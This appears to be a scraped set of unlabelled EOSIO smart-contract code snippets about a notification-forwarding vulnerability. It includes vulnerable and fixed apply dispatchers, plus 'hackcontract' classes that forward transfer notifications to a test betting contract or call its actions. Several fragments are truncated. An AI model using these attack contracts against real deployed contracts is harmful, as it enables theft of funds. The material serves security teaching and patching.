quocle108

class sample : eosio::contract{
    public:
    sample(account_name account) :eosio::contract(account),_global(_self, _self){}

    void freeze(uint64_t frozen) {
        require_auth(_self);
        _global.set(global_item{frozen}, N(global));
    }

    // any public actions 

quocle108

extern "C" {
    void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
        auto self = receiver;
        if( code == self || code == N(eosio.token) || action == N(onerror) ) {
            if( action == N(transfer)){
                eosio_assert( code == N(eosio.token), "Must transfer EOS");
            TYPE thiscontract( self );
            switch( action ) {
            EOSIO_API( TYPE, MEMBERS )
         }

quocle108

void transfer(uint64_t sender, uint64_t receiver) {

    auto transfer_data = unpack_action_data<st_transfer>();

    if (transfer.from == _self || transfer.to != _self ) return;

    // store all bet info to table
    ...
}

quocle108

class hackcontract : public eosio::contract
{
  public:
    hackcontract(account_name self) : eosio::contract(self) {}

    void transfer(uint64_t sender, uint64_t receiver)
    {
        require_recipient( N(eosbettest12));
    }
};

quocle108

#define EOSIO_ABI_EX( TYPE, MEMBERS )
extern "C" {
   void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
      auto self = receiver;
      if( code == self || code == N(eosio.token) || action == N(onerror) ) {
          if( action == N(transfer)){
            eosio_assert( code == N(eosio.token), "Must transfer EOS");
         }
         TYPE thiscontract( self );
         switch( action ) {

quocle108

class hackcontract : public eosio::contract
{
  public:
    hackcontract(account_name self) : eosio::contract(self) {}

    void hack(account_name self, eosio::asset quantity, std::string memo)
    {
        eosio::action(
            eosio::permission_level{_self, N(active)},
            N(eosbettest12),

quocle108

#define EOSIO_ABI_EX( TYPE, MEMBERS )
extern "C" {
   void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
      auto self = receiver;
      if( code == self || code == N(eosio.token) || action == N(onerror) ) {
         TYPE thiscontract( self );
         switch( action ) {
            EOSIO_API( TYPE, MEMBERS )
         }
         /* does not allow destructor of thiscontract to run: eosio_exit(0); */